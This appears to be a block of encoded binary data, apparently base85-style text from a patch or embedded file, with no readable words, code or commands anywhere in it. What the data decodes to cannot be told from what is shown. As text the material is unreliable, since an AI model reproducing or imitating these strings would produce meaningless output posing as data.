z6PtEUAE!>gteyY*u$m?PM*kO2Yrchsb(4L+*?R_oojXN7)wXXeCSUnE2C$7bKC0j~ z@zAQk6M?dc`-S^%cn41>fzLR%D$R#=?K%U;wYF9Rv+ZBjlTsf9$z7HDr0k3Uqr2fI zzT*{bHP3c*R9L6|*}Ozd`i>s$0=nw$jR?k#co79%n? zJ(p)Co05KJ7!1Ih3o<>zc3+lFK>s2M;8-`h6X7dlf+^cL1AK5_IkREaYov`eAu{FC zdaE7eV!bn*I6NmbHt<83S4wSlYiW_gIbPqVCj1^d!+}`9!&H#RhHW!=$|OKm4UrjB~J2W%oW#I=y88z91*Zm zbAD@$dj>U=lVnz&Et6<>Pw#HDdij0_O!*7nZHrzG$sO}2+_6{_VN%N8g4q|0t7fm1 zNKFiFq@3X1`5XFK-%`hlZt0hqcKa~aH$E4-ui-KrdQl zapn%lajcvbH+fK!KAGJTKJjublv0a8VjvWmlR+H49mz^9_OC7D&P)0-V%Ed8qgr@R zo~!+xs3>YKZtooeNA9BCtR{$lH0dAj8#ly+WpZ zw_+@@7Xl&R6Vdd~D*wuv;8$Xn1wwvdD$pbSu|8L(LO8(``jtd9#%k_$K*HT&)!RuS z&@YK>gNhW0B={XkUqe_=@wJ&?N{0;L_Q3B6GOV&k(Dwen(j^=k$s(|78DKO7A~d9L zWuI1CrmC|s!eReM#15hil<`$@!D-N&B$W9~0-g%b*&aS+xRMnt=s8T6ge{<7c{-?D zFg@c-<#xj(<5GHW4|Nv1=o&gF^&Ic9;lsX;Pu`ZEyY0~4K;JT3+V*eZNw+|QCY|Pu z86zt%oX(03i@L$m{z`}`pY@k8 zV}_LUiigmvh1a>Q(Jkf3PP`ongZVn>4#j8^J#sHhCA?m2*f81m(Y?)Y9VlEJe^VA> z{L;cXb~|WSxg+tfl3;c2rAEdI^IQr32peFd;#{!{;au%ZAToBDRXh4QC(!?enKGjf zyUI2RBu?awjG#o8wH_DIp@0^h4`UT=tYmRE{|3+mw{$>g^<+f<{Q#^$K%5a;5-!&9 z+l+P-rE(-IhhhWcykl`SDg@=VLMWHOee!{NXh+#*kneW)Hr{_FJvRizxmK0-PQrd~ z>;8g7QmSJedkqvk+Qfv|PEp%~jqf>28lCnxQVHF(jzWfyBdf>xC1AUch2Gi>A`E{f z(rP`NlrgQf&%;);#i470BpmBqNV2a6JK$eFrCv^6#Wmy{@|9gNenXwU_Ntr03z$}( z=tVu}M80A>^C>5i_nN|{O}Th3{a?gX4zz<&_5LN=yLEj=i((3(9HYfj%eEaKYlgyi z^i3zn)Pc*I9@CA6l{gU%(2z) zdnkJ3#@|VWppm~#r-nguf%bCv3<;hu3xxh|NGu2acbKnpTCre!!Iw&F2p4iruQM02 z58Gdfv4`+zER4{5x)-;7>uQk{hO1(jO{KLuV4YYh0$vc(45s%Ej|z|F*&INZ+3E|t zvtgJ+9CFDOfh+7)C{< zPAB4$-sJMf3 zkVYdYL6&f`GG3KhyB>JFQT}*h^5#xB`A4{*Gg*>+h(B)0*qA+K<*QhGGSdt?oh0rO zuJGSp^jkx!rP%I;f{l#pU$%=s$qJ0Lt~;HcZe0$3OWSPl0vQZq%F2`|dt}eKQ&^5* zaUOK7vf9o+XH+3*&}*r~NI$swp|y7V`5fU2H!M1UtlSts7#3yA60=Bf&cCaoUI$k7 z@m+_En2z%1=5Zd(2J&@w!l?jFf~l@iBOJD*fo` z)_bhfLO_LYBZHyB6yiwIX~soAp1oH+X^$DuUYph3_xX)cPfz;A(-WPXN5WChI?m%f zWKBe_O*iv3JcpLKg_?P8%*%kW8!O8X7eBti7!B3=c_H`}!&hG^v9Ca&Ix`<~q7u!} zu%SstgX5_L;pZY6_@K=cJR%pEyD?C|U+engZ|*SnbA;6NuB`!y=3lJ_6T!wl4&-cz zsYjm7m8)d~@#tohkSfmG{Y_c0?5Ag0zKeqtQMkX7(Op;AOv91uOFQGS>5~_!vW@7X z-cXkc9HTU{gN^xT=ecx|Qco8m$t}FahLn{!*`u+_2NGI|F!!p5R0f9D)uL1mR#u03 zx?}g+`#WGj0qUNuglhB*lLHmhinP^i-==1r-UgY{7hvP^b1c3inR0Yfgrga~()Fz) zsVmLbC?^a3gz95Lf04q2{yX9BP$pr&SjK`gk)QTt6t1blfrEq(_rYbS(P;Wdt=YWM zM)!J(P7Tf3Ujk$?VjAn)4+FzSpMTex-}sN17Zo zRnO4J6}wRGj86eqdgD$B6S1bnLfWcY^8(I$NI8k*;A)cyt#{o(;)#(3W`Hg z&4*85Yj>tV^nx$tN2p~F3|DM&G)eGW9JrbP@5d0>Z9&o7a5|ez@A+Eugr4s`jtgG^ zrH?pqZCi)u)=sg(R)A9g*wnziW^(DMyP&=KJTHcNapO#n(qboB0~A##IGc7=`PGm|4Ql2N}fy~_tK zxv16A)03#eM&ix%+fi~RM6#9`vKlr3M^mL9NTKdWm|l#C!vZDgo!+=bmLwCg^Gy7d zmiVU{;#m5=mh|>>FQ2}@fXO6|rDDszR1^*S^Uzfr5^jHz-1c79tN!*U6N{pq!JPJ)35unO7L%mv6r|&U1RiL3{UPsR>5^!RPz5%G{U3)fjpP zvsr*b)E41}lnv}Apn<(Kkd%-+w^z>mY-*{f!jxogY`5iLd#NdaPTm)6L$ zw(o~4Pb?YYHs^{fmLPuj%os-^lj5#wIwMIdA5F1&u^P~La#60|?t%@&ld9L>wp#XG z)lA4gYeR!z7@?S(maUN>V0R@W2c5EoS0tvSEPHQXJzbUFKMH536xZjRjwrF`~c(HP(Bhe8rgb4 zMar}3M$isn(ne^vLvM3VGIsl%bK9ZvV!)xSk}WIvI$!c)&>s5Ztje%2(W7* zgwpcPRQd?2Csajh#9ASTJ}|Rg#6=A8+76;8=7)lfbPLo<#(lgfYfn~?Ylp>(BOSho zPOq3!^TKzT<}~5 z8ISAhUR#&fQ@-Byk)5H_0BSIbSqy@<_DsB>&|qr58QbAx2LRL}b7XDM z?|=&#y$nCzS{twZvd`ye*Lf=qC~Z&_p=r^?ZA7U%9dXrX@wyS(KA~6xt$nT^CAQG0 zE@C`abr1P%HoU_VLBi+m&m~9URTt*1^Hg!KYJZGbSNb9{z!ID4q4PYh1dB_hz*uda zsxVk)ghtYXK@oJNdOWj%oYwhCef`$np7=9U1?|=aiTy?P4}@RnhQM8tiuDKQg*pL3 zs+EUNZ!FgeJz^~sV8T7vn~*1>Y_|NW5%==yz>^yx`Z+u+er$67K@#eLhbb3^oqNe5 zZhID?lxHa^Z3tgzL5AXTYsQ{flj4uK(=VYLJJ>f9wmt*1Jf%`oSHahRCe5I^RzDyW+`Te$f7Ft zzQMvW16f*y9djKYG}LHw`E_AYCyTF=(XjXMWIOI#hqER99g${HL{7!lTy;{F?rbZl zv;Di-z-(xvh%vSYo|+Hi5(Tx`7$t(Cm)bfzs3wI|b6fsabzPoT9oS9X-T>wa*}1z` zf_+hoNdGo>riufoH(miD!i*y=o%~?tn@ad`&&VAcdw9ZXjKzRrZLO?UHoUSN)1_Wi z1LY(hxKpEMM!+;zg?SZvwSG4P%W1^-LfL+Fji>A~d~>tsQmIF5$oKkdgifKI=$RQJ&K%T|7JKy^pViyyij45s>eu8H6cpSe?6AJF_ylCGw15O>4#H-l#$`r) zkpIZKnZg`g!h?GJR$_C=Zm>R-%i9Sd7%-A84Sv;DDQhZ!-YF-MZ%+qgNakynx=SD* zkO(!tO^PWDmAiuwPua~by%#Nac4jYf-rt#}-~ECxg7d&*Y-h4TJxM79CQLa|iNW;y ze8pwPfRp2DALf%84gnJwS){pbR}Nrd`XHl0n;A?6755zt^4@d7DzQqBQ>XaqlH$@UfIQiE zK2D->;yeE5=hwpndA;@{Cq0;$wC`~uQ9~XkjI3i*tpxW#4BW$|z6A5(3JYF&r@H*I z|BiR?WxB64UE=2(HZyiS1otFSy@)CQ;|bEV+|}XSDv1W>gM{7tuhvFrJTm=Hg0I}% z!bGr&h(A0|b!v3WY}UzXJ6AAv7JkN4^XVy!q+VYgqR;!QDB!qhvpzf6Tl+b=S}yB2 zPf;;*lGJ!~fZZ+sc33?u&8PlG*`0R9fC(|@qp`uz*rE9y79^xqgo7g?6}H~2QHJTy03vjs-pM@i1ZoOIXy zmxt^G9q7}_=e}HrR$krNV!@rT%C4kTqBF*6XX?!-ZE685k8`SKLoub-Jgg!GC&sU6 zPS?94ZmIl5E6xK!Iv|ySRw03XnWh0dtw;Ny`q1l*-0$*pL{bl<= zp6jk3^*KIXcL%ml%T}GrN-DL_VkpBi@Nt0*#+5<`@d5c^ly4o*t8Q)X^G1Tie77nRRd~soN*tD>Qwee7CzBf2~cqw$#X|b~!?L;FC>>=%ah4Cw=su zGYeLo>z7ik+Lw*(Jf6og=bnj@hUBa1`5m=s%}QQl7OAOw^luL= zXYYAVl`7gA1oQdc@^L&9pC};cA+!y^_IzblnA*F$-FuUO=5z*AZzFHqPDrscy(L!) z=E`Bom~G!qd(fqw{VEIghag)o4$;MVO=8^cLfV9ekF(hi@%^NbrvhEmRG@V4nY<)3 z_bF)~$Hs3Z$Ax~}o}&D(TmUI{{K{&2j!-;bvwJs<+dbPD0R_@y>*E$A`zdkfAJuau z!KL~tRTgVi`c+tRBsLvQsk`%BeQ;uoyNp28K4=S0IKIM0|Dyh=2%bAPXP^ob%XMlz zG!?}CIL#eSFu*1TO}g$RBl?#w*M4lt6Gj|daoPaNw$DiE0-fKo&_BfPlNd4+AMzC} zq`P{v@})9!b>inb)XhrcQoLoo4-Ue-8`NGdJb?2Ytqm|I=Tw)q=E2o}ypr5qeBy;M z;Tj35X|p9+C4g1chu!1V`%_B?@dzU96R~bnSM!q!-I^K0iXhEY0t+Z{2&fExMCw=N z69X@7neiBMsUAW<_Y`l=cPII5F^fDtjjmRUGj)G{XuzErAUOoU!QF*E+VE9u0z7^f zC|2p|K~xi~d-s%9j;yA2*K7_&tQJQ$8o4tQL)nha?mzL#1Vhv{uAq|8+xX!yhsm3t z4oQ@Q{7*+V6HI9)FHg)1w9l;XW5d;>xUU?%FIr$)xPW$^MjMewB0V6ddyD+EOdw=%LbX7QYbp(hiHp0 zdoJ@7)C}(~{>%nu^ZIQJk2H^yGkn%O+v=r>7~kIU+RdY367r1W?n=swZGl_dsn2S4KOPs#V0LYMkSd4_6BZ~f7q%`WdQOYAPkeR^ zA8IL0cg3|NK;qf9C5bsuWsX3vu}tULu)e+0UUOFGAa$c3bLr*+m~wZ_}LjytmJL~IY*^UO?a`V zNLTR~H z{h}(>&%b`zsDSjh5X!HhIwnUn=IAqS_i0p;cU|}?Juip_f0x{UDs$afdlCK%eZZ~^ z*R$y)3cO4eFY~*q{pe)x`wJv`c}(b_vuUR@=#qGoTC%Zd|JTd?Mv@zxkR8u=Sc0O8pCwe zw)=j*Cl#t2x(gkp9W!vVvbZb)K}1OrCRum2_z2dRv^B(4;k~h3OsqtxZQ(ygL3J*j z0Iddo|Q}JKewrp9tFJ2XG%( z&SBS(Wt>sXL}iOz_p7p_$Nr4j)_;@fWq-kgE1Yc>ADZ{rW?g8p{M|Wpm;z5O(aw}G z0rf0kcca5a%cA3N)W~}6ns|Qu`Zui!WqBx@m&S?>-H-wnYLYYI*7I;?>!U>y(J?^_ z@~~~b_9(14Xpk%q@K=8gvZsFrV%r^etBzoj`$AT!UciP=D71A;Of43@4%Xr;Y?A>% z_a=3V6{q_JS8fRpP1GaOCrS#_ijv>kW_b0aqV#q-P;a6q!Wic_TNa2O&$s5Q;qa(s zv1a00O=s|CkKAdtIeU0txoH$@;8hhMRAfM~&!z9eGwmfn#hPjN@u^&Qc6F{Bb^6!G zj#Vw3D^~ZK+s1f4>`oD{)}r39?G?y(R);a@Yxd<%Fx7a-alhvKvX4*Nf1%`aGdO z>wyfiK|U0CYlB!>U1Wka+jSDkw+oh}kd%vW49*LFg+9*ZR7RaYub={;O?~XyW7ntA zdgvt&g^O&mnX5ICeIrHsNZzttZzBMeY~}0$A{m-Z8JK#@r(}4Aq?(TI@bmBNy!HpM zQG;4CN+lgrNQsGi05ZOeJHhe|2^3(C7@zdsq^kX~0TvWBFC&U048MP-XDneT+XeB%ZAN4cWWjqCXb)4$mp}c#A+;!gCCM`^56p@rIU3@P`J$reR zjry7nwL-k1#3xQDY{UC;pWXBqSs{HE?3fe#Wj_@~Gm(W6Q}WWJUh1k5aV8v1wf@@Q z4Km5H^`iCUUb_NHnzh(cyQJN zXr{EL$(bF_BK=Aw)NDe6Fr&Vt$fAwoL9q$s6j`537EE+p4mxG3hd^B%odv?l<1jWJ zXcF?*_TW=Yy{bbh*Mq&%6`v_O5N)H#x`5{-X7|xnz4OY0wx?xDX0h`N>Co>p&XFfs zhXbJA3ui6p9|IUEZsvfrEidx$_k+v)hF|0Qrj(|unDL9x7@lGpWzKI0h}3lV?Z4P& z9wLtwOzaP)I<{F%1%PIJ5~RuKJ_NbL616FVS?7>b-QRf1i0*&8p3Q8{xmFlYlc=68@_3#c%z8d4| z&wK`Vr_R-->u9c#YYiqO)6I9L4AmC$`P8yU_aBCvbh1dzg6s-LwCd?IOfMpTRUmLa z5?)$mRKbx|+iVBB{mg;EJqm5fDQhHW4$TzGhnXjmfG0?xmlXvcefiE;=J9OtrI48(u*~eyu^|TkwH{m(LWC zbyy-u{uFV?d^X;DWmF~saqeTn&x;HwhS!eHt$m9)uDAoSiZq6ri-U}BVxs$8+E{16 za2$A~#Douj&(pCx&j{Ykfu15W;mllwpkirU5Tj2T$-=r>zWeJ+m;D+nn$M4D zbu{b&{Q`vfCc7*UIrwiutE}4M?NrhF0l(T}-^6QddBblhvQTKIjagLdrGd>5HQ^^f zV%x(oC}iM;$>Zjt-1jLN>ZM>vRh+7aN5gYoCN9OyBKAuS zk8l($IEKjk8>uMQI5@sEPA!3V)uX)6pWP6v$ka;`ItwbI6DyH1B7}%i>FCoGGh%XL z;^H`p!DWeEUHpaFoudn$2CXu?a`*7D8^{KyMWKZdY-N~zwsT`isWXz;gd{X0Y znUUshmHo&Cp|rF+abB`PK4_?jd5^<(x`R3SKDWAK?R|aLfB-axt>+~o7@3_SZ7L&I zs@@rQmEn2xA++_K9B(`2poa&Wy0?D=A2gWb*yJbPp_P6GeaNd{w8&QVb5dPt68arJ zTr@2BT34utFDKX11VUQ&?Ci zZ9K<|1EX9l>xPQ-s~#Wrun2reP2yG;lhDIB6vYcQqHlLZCKC0^pwO-czr)(gmYMzs z{TT#@EMf(G3z$>px&M|?tVms6(oMhWdwQ8|w)2(gOX>s?W-`xsL#xq>|n4z-0!7aJ;Kc?LiQ_z~`VY zY@TUQ_I-rBN{>WO~pq18}gn99c|0n7U+PB%BO-^mFO3>4>5203`})Nvb4l1aQkAHIDmn= zgzD#y4X=Y;s&xi7jhr1kqbv*>!V~Y88B}YjvQ26s0}OWBkHVxD#ttqsW$|qFjqC>B zH(fk=E9;?@m`yX+0G3T|xUYAT7RS?0xHHO|ZS=9LC|jm*;a>6T=o*n~W9i$L`G+nA z2a@Qg#FW`VFJ9H~f)lsSQ7^MoA>gp>IxtO0+^(#wQ$B^KA1{CIw|Ki@=d06 zj|Qzsi>#OtUJ1B(+SJCTj5v7g+;lM8!Mm*7dp$47@^nFD?L*CPnMlGo%oCbcz~dHl z!d+5iUnvCivxN##xba_z)8Pa&uToXs2^>;OPfFy4wahd+4Q6c`~rvt zy2ZcXvdfS}n88cyL= z&&zJk^q4?~)QUwRAo-YcR3rXCWlQoDfVZ2KyrJ=AqxcHb$$Qcb8+9|U z7P{cF+#A|lzu0k(a9)dn_fwvR)5clh2OO485h>66Fez?HbL|NeiP*==sJr4NE+rGh z@`ouhljUPV1~QGt#Dsm+Mzl6Qe?PAZQww)dNYe@*aDC&rqr2Z6TT``g#AkN(SnVW3 zbZnxDJyK@=rq}G3!)ER^kzN5#gK9^Xk+7GUV>}+`0u|0}_&tc7?Tk)xLb4;ULaxKN z1R`t@Z;9K+OFc?pO5qVHN}`>H_6t+KY4nnRx@~Z3TVe&KW$fTbXZ27#=U53lDpvvX zjq^8K`TrX}G@440B_O&x?_W-ir7gF2cr)b#Ev;W>WO(QUFpO7^eb8qIX2Pa2=Vys2 z%bzi8hzyE*h2f((?Mdg`XXGqzz_ct?FC#1`4z?@3hwW80)W-96^e4S{Mtlypj2_R- zj~KKI#R=ychhfHsI^+{&_?B~)1}RH$CP12OU|@5u;fxbAC=O{dLCYBgi~|N2BWGp-C=LrC9VC6FI+j zJh{PiNXXDo#(s^i>wd8eeq+JaWmoLXP}3Eu2U$qqvq#~b$cuq)m&3B%CgYQVn5m&1O+i&$K55xYZ_QGPIkIhx^}1oW3OgY?c0C2vTwh~`UN(;@xpGnvW0bwo=N^A zC%{>f@RpY}&U1$0M<1iYkMLLxxJ7}ysDUQz0=#|DE6#X_Upt4nU$9R;$npZLKH@J5 zE{j@jb@wRv-w1`@kcn<2kRDFbGE)#}$>v3&Dj zW}=9pFTY8BHW0^a-qO3VDdv}dE8?7)*6r{LoXll@^W&A5U+wL?6=32NaubUFzd))! zx}RxKjJ()J>$ImDMiZ6kQ64X~D!(UBx{7QIUb7;`VY@K@gn#Q@?q78McM99<{>g{` zJLE1<_uhAVwS=ab`RL!T@ZY}k4kti3r4U_m{&y|J{|4*3hx|o2MUw7y`7O}s-#Cq~ z(*T51>`%dOe%B4~Z&=@W@Grut?evA3KUh@Y#Y+I;)HTjx`Ty*P|KF9V6$6A*0|z~B zyIlW63 z@w9jgZut|P0GQQs0Oz7MgY9|nN5*?&eU9|*`+*_dABYg(^`rfG2g2jiENT1)&-nJh zFI^YtIQSD?*S!nqdOU8LS?~{T5ZD6(T!r-3et)9tJhXtWcT758W%$gpPsi z66!yY!#(R?p<|4xXZk;|?)?wWCI+B~q_@+-hyH;a;)Q>Ojuol}=RXM@PXT(!aMZnj zvW5TuLPzp1uEL!Vx0*juqg=qfC_&=4+5d-?{{9>CG=OLOf6NJ>{`}w4oUYL>(N#A1 zL2t{+nQgebadC*~B?=hbnQ4m{Cc=#FFPM#$dmv|RZ2o?tr0T1ioeTbSJCvF5EK+XY zO7fs)Cbw1of~v1V(ATeD7x{I5Z0_%n-&n8xo6-K}rFqoFJ<$*GjVhS0$~$$hr`D3v z(wL2EeQS?)Hh~TBx|3CR*O;yhhx*m_s95_3m}<}N-&09KOk8G(vkUFMnP!P?ZEDE` z^lWZbPi+1|8pk%{P?B(aI}I{W6qIxQDUswPApMWE{j({sr@$EO?~b<$yiH7wVIM5e zj4PAfe=>h0tGiq}aj#7^Vrb|bR_ww5!v*jcBpddT-@$W3EF!UR@MLqL-Ksq%0OfD` zqWQe*d<#Q|ooyNq+I}RF6Pc#$j=KLa;~)E=|K=crB*sBm$6`OV_kT=yav_?`Tz}*{ z*sX*o+%SuOQYioGqCk9$+PpOh5h$mktUT8qpwFikx7iby-`yK`9>O9ZCN_*Fc>yC-AH$zGvihdNroLmQmzx~Yx2)0vD|dij?B>lFTVFlfivg={HreYOe2m3wOLNG9 zHw=(*V;m}~`>Z{hCf=P2IDB7n zQ%FJs~;j$Y&dQz54O#r(-&M$U`E)N zwOvPU*+ZZ7^#Hm6pzT7~I<_!u{_Ea9roMf=bp7@_kG~p6z*Go=-08QefFt(MQuPsh z%7fUO1CfIiuv%{@w|_F9S0yLJ%F-cX7QW2SGa@v+?ePx$xH!A|VR|npXUV~lU|}RF z?6OLce7e@Ci}rR`#b1N?`ld~m#Bl!s5idktTWkP9P;LzUKC(jq{{ z?gM*(?;ci}0E$(!n{;mLXSH<3kPrPOMNxO2$huhC=rAn_BwZa(g*iXmeViNNqxI}?{VKbtOV9|4}{Q%Z_}=-b454<0-adh{vRv3(!e3!MI}6^`Up&&Q3d!;Ioa7w&%&T`GxY~X5EsYm zD^w+>Wi=OApkO%47uLj(&X;sQ2HW@jp*io&suy-I@Ky$whPM5SZ}|^D?))7%YDzm# zK~)EMZM`a7Vsoxn^j%C=>VAQaH8R%9aL^*&8#6Kzd`xfJ(v@LrpI1di8X?t7(r{DC z31YP1P03|;qM#}SRYkBP`LFZyeZL94|E9j5FWu0f4|IKe(eQScV?y!s>j5va9foc~ zObx~Pjo!fYt6Z(fO-hw7f4&%t&nQKTofQxhcx@vAuc&qYLSb~@C-O+nXW@)(oBkx( zbJwwqpufg9R>@zhx>_S`?hx_CoQX#5Vqi1{`#J}^@6gSQm)NgST)L*fJ^K30ZV+PJ zs?#;W3Tgsg!gRUo?eQosP}$TBcU>6_=oVqrwtN$FUuHcOcTdxNB#w|JfBNul@KA z;kIlGz_3$U5ohl((Zq$R7DVJdQImdX7GLQi$s_F<5Z>+OQaWK^U<(y@C?D*3)Ep)g zMxamX%SaaM1ovcEig@A)R!MyuFD#wH-+|WxBo^i%0FxGY?haI5UOu{Cw{YYw`c3Gd z+8@jBiTO3!=y&2zwFR%YcXW1=BdU5Tu^Ik&@nJ-j1)>)GUD#-=J?wbcF430qFa>dP zL@5p*=1ny*LDaI+A!|J{6V}EN469Cm9u(hbDh<{26 z71X2_U-E@D0$y()fh?3c@3YJ1LvSVD}qJ_V@Sf z22DhnW)3mrPgN7xW#n*mlGnGY>j+6O&>&bb;)P78^|!%{oC@GIV4mzg%`-vygiJp9q`=#A_IDDK?; zvy1!knZIFg_B5)|Xe06@4%3_T1CPp+`YJ|x=<-!$z{6vxM+z^mKwP6C3}C>i24M39 z!K`#~%Mg7psosGB8a_Tg^pUTLE=%E3`o(vz|LnTrPtlR}@M-S@8i=}jI8M|lgKS(e za96zANHuiSMn*er6vlrMCeX05VX%2LEHX!#7=T~$*vU&8t+_;7QeQvL+rjrpz&2*U zRf?PL4-Mn zvIfsV6Lbe$t|C!Iw`>Vr>Vg$KdIb=)iehmQBTaTzo^D}j-H^v0-@~;)d5vH8{iyaS zOjA=+e6586F~|oZryUE34{baWv)v8;W~(WfFoWO0ihUvFno6_#AFlib|c;BQls_;YDo3#5(uWhdS}5{{$hy)wrreJ@c|J7B`2 zZ#a~isDn{7)A7x-DU(-Zm5 zZgS~DX;h)ipPC5p`8T0}Xuh}!Hfvn#$0JSPZVQhrhgqo*FQnRXvgQmu&-6oZb0HWo z)D&!GEz(<=oMdXB(-w)gPz(*(O6B5e5zL@F_cLPA_M2_kYw>S_%$h2H>@f}=KfVKD z`%d*zFISjeZ3ErtMeY+!)@d>eFaaEYuiS1L*{J?&j~%R{NSvXquA*!24fhIJ+hqTiG7L|KM@$S%2xnPHHSV#20gAaf-pRH}1RG&w_jFf2@9L=Uz)Wnh~} zk|6A}GeR7z`}^uI5NG=POf|i}qW_+87}&BCxB7OCPk^T)_DxJ*34A%Eube!0lc z4}RJF183Llx8Q~Bu>mf1hn|%J#PrcV80&#dSS46;>`095C8G2VOB3d2A%P2nT@SR0 zOO{SQ^S&fWsY7v2E(Kk!2UC|MdH7!HAX7`yvd9DsJ@J{5jb*-ewF~WCNTG@WpMU_m zDM+ESyL)@``TxRGe)7==kY(M1$VZ>+eFLmx5zkZk%>0IJZ6NOzbZ;2*sqe>bHAnYDjZo^|eu?>l~U=g#VPtOhhPalsF- zfr`_T?&g(2+uFHQB)qahKUbq6yw31-7yPsE^~*Nj0k)a*QaGj$0)aRHXpxL@}3B?vJdDI=aI2DG7QfaiIQ8dStUYB%j3V(%4}^Q}ga1bGi_I8k>`v4Y%))M7q| z4ZA_aN{tJ-zwh#+;ezZe_ik;U{{_iO(L}$)$FyDdQn`W3Z&d~cndQm+>{G<7S8$iS z7?#4;WVPHyA&CI25snr|V1m>lkHTe7^(IX>Ja#wvxA`+e4`#IzsT(MmW~ zFA2=+^yz}%y&Z~bBb5{@M}=TIaoXb6b@shDlX7EsF5R+Jr5ox(&d$m=48DuF1*yHk@rXnq7##+8y13B`5HQ$ z27l3;A+r;$(t6m;c5;mq1uw(l1#w#gxAR!Qwr#4`^Cj<`+S=O(?*Ey8xvdVEL*=>Q z5&LfvR8&+LtDi4?W=pXMV#%1tK@Uz|q4?pwtnKZaGH7lt+c!~`){X>^t4uZkpKMhk z9)CYSD9D#d%+*TU1a|t@|3%qbzct~$Z`=k70>bEy4G>U5kdPQTT0l@rO1fKeg!GUY zjr3bWR7z?zDBUGJx@$CpG2)ru=Xj3iM~}~c0NcI$zOL7KUgrg1rJv0b^VrLQ?pGuP zl61jYTxd*umj5Fkt-Hz0$OwV;?j|OZKjYy^ju*KzmDE7_KUKZK`LehRhU~vMANk8p z;bPtJ4_SseezQX|at>++;YBM0;CmKJ0Ej$tBPfmfYsqmkw}}5KmtnJeVRM6jeNCaE z)86L_S%7x+54I0-B+Osy>u2m89ONy9^2Sie+Tk&~p~)p~<H4b9A<^zW%3T%)qvY0k;L$b$+>aIXEeMB_42ZxnEHCJF%?b& zUxoUVloW0S8$9o@$s=(~CR3I#@}w7LpEZq*v%x0=FVNQqLDCRE=%&OXU0LnbmA`@l z!{Lkn?*DIf?5|%GFU=IH3-;O_*sJSGTf>F&WCsJ5A3%E*s*f@e$kPvTIt?MIrD2MW zCDx|)$T8hrvcVlAE(b;ZV<${YvX5rLIgdw0>C*eK8m_OH{ny_bJCXeSy|rdV8Z}>V z^-M9}7o3gWru}>zxzEv$!pvwI>YTln@a^lBRqXc^Q&+&d483C~R_i!p-VeTH)>;&C zo}<Fw`Nx}`OL3>eRaDv z>eY2>7yNscL#@PrSc)NOsHRlH!3jg;;S^T1X?YVK9u9O`SyuMdT03bECtu{mD!0U) z`Mv87{FdgQz4r{$P;?`B&WU~1qJd8L&z`w)UEstP8T+$L&74y0GVg!3oyrt(dzH;p zTXbXF-nRL1*u>~W9Npbe6qr~dXv&FvV%qIyQ>76Xe%TwCSYEZQ=J`J!ZV0=p9L!ev z2`?`%V(^bena`Py;re&3+A>oYPb9+7V_wR^gZl|5{~}?3f60dq0tT>Kh`QK1W#-=Z zr_YT0R14?s>{`kCK_}T_ozg`Y`N~`>wNf{4&y2>L;Z8NWhT|LCFQSi2-PV+!G4Cc$ z_mGLWD;HAvy#1c6#N&WgescyrpUoLGbX;yYLzth4WLCHKYMkX0d(86=s|!J@A3O0P zN?s0kfj^FjsH8ptU^M00?>Y9304dh$Xc}$mhHkaRX z-zLwrf|Ut)6dy=d!OMT}Yk*W~?~5sQM`2f&qJy)u^Fi9pR@x1Bnle#dLtZf&|kqEsNXV1-iSYQgBp43a(Wn6@|9OHQFtafRoN*8On00-Vjz^v`$n6; z;W=q4Y2wag`iHdKz?Pxbds4HKZT202hUUgo@#h4p-< z2i(x_KiW*n(%*9qXPIp_?|XVxs@WA##EhvUWXAY3OFtZ;X1bZH1SHV`dR((?ljU5L<@Y0&S$g4(jjo}Bf(vSmgFz0+`+F(Pn~ z-tcCuAMs(|ABk{_&Yl@Jr{Gx!rw>+9JDj08am`tCqc<``L9N8xC0nPa-gSNSPefg{ zuFj&ZVJctkIy1M^RoId43W!8dL(d(MA1>fN!Y6%0FD=zSS!!5{K!`X-8mOp5J!TRg z@4_B&YUVhy8KLDZ^A?9LziJYikDyUV`CNyovd87;C?rh*@Y2drM@L6w@!i zF1)11itmbk*a=$k3}&yxIs6T4>~)l>>XG&FiYX2c5$o&gW+gGuwy;NLB#sC6bG!vm5mwyyhsa)#dQ zWqMTlo!J{A91XTIccTT`(kfh=b9Qo@d!7yP_r5Cs---npJf7kuqi$Z#Fq(pF1Gtp+ z3A67wVOsgm@6dCkinDdB`_YfN2PL1|$PN0b*pXGOos$Ri_WdG`H4mcGX8SnQP?Zj4 z2qM0wk*8oeeFTUwPc6G&5`MExiWtPc%olUwbrM6g*F0aOTKhT4NV9%b2a!H0HDeGc zLSTv&a3IO&*fKNlNI?WO@FEn@dDL&*z|F^vkb_T#|D@<{H!6ZwSN*XW`02}+3BDa^ zM|XsDic~E;s76%t@^e>zx5>6z=L3Lo#M5D+Zbnh4Hr>JSCbvE&)uG*=6k6eMsJ;C9~Ze%Kp+iQ)PpE#zzKHK)HR1hv`(9TC!a-ZI7;e)ySs5^v{kC zB~a0VsG=E6*@l3*;Ir{J=z$l*)5Uy5pkbhC1>CpO)`38ef>WdV#WkamdoPDbI|fb3 z0Y7>%x!#|KFH#Z2UeptA@m%pz;-KjyQU)MddDH+}~PA9YX!&qEinCXKjg z-^P>&c1rBOum`QuJo$>TmC`q>(j=SzRaaNHf1#x~i9EC5)5N7@{4pa@wuG4qfao0o z-4UcL%$6@dduS|o)PH4#gRy&6=v9{6mrWaBa;AXiPuPWq+$hNtTAUlUpERy~dKPj= zndRuD-@l$Dz7yd%Gqx=0c0Gdc{zPt$&L+z&&DhJ}eV^~AT+&N5>aJg6HaVo=(|BH! zrk6eLS_li=7*3CyQE^PHLrL+lT%}7hb+ASFovE`Tsk85{i&r~(t@Qh%-F?$SaTaNJ zDi7MiiQ2vI=Dj%g*$+>~?l%s%T&?pXtL^^m?V8^DUGVLcr~9KEOsfoCnkN>}h}s$4 z0ODM+Gd3S?!lWPjkm+v6In^`WFkfK4X0BAg$e9m(TCRFFORsCVy@M2P(kLE)}T*Ut5AXL z9BDAV+k9z4!FM*tZ=sw~G|@D??lX1>6#AQ*hq1U}^6qT9^th9U*fW$vt!3M8T`bC} zrMaS@=P7u0qQ1OwMB^y3SzdBy3ZU6-uuRqf8xJF2gXFBcf2qOYf4Xhthd>h6J z4ylXqEjoUPd2EE?cbAYs0sgdXM61hSa*8ps0$oXD|f&YEW@+?vFJ26b7!1i`h!tIvDLKJt3vR_ zQmAZP9!tUVOQiyHN#)l)mN5^$5ciS*_q!Nes;63S&X$*6N_!WuCoVBEawZxTNq_EUfrsSXw%!u^3$~Pi;Ar#by~o#8<}( zdyo#Iw+LPw4!SvEWq`O5KY?h6l0AsXasXukpSfy?)xz93bN$`xq_(5+>tH71Hv5hi z`z2y7r)0xmQs0DQzJ{$lSK=Mk4qzov>KCO-jKK3$pPZGet!Ft!^*JVJ;{(4mWAAy- 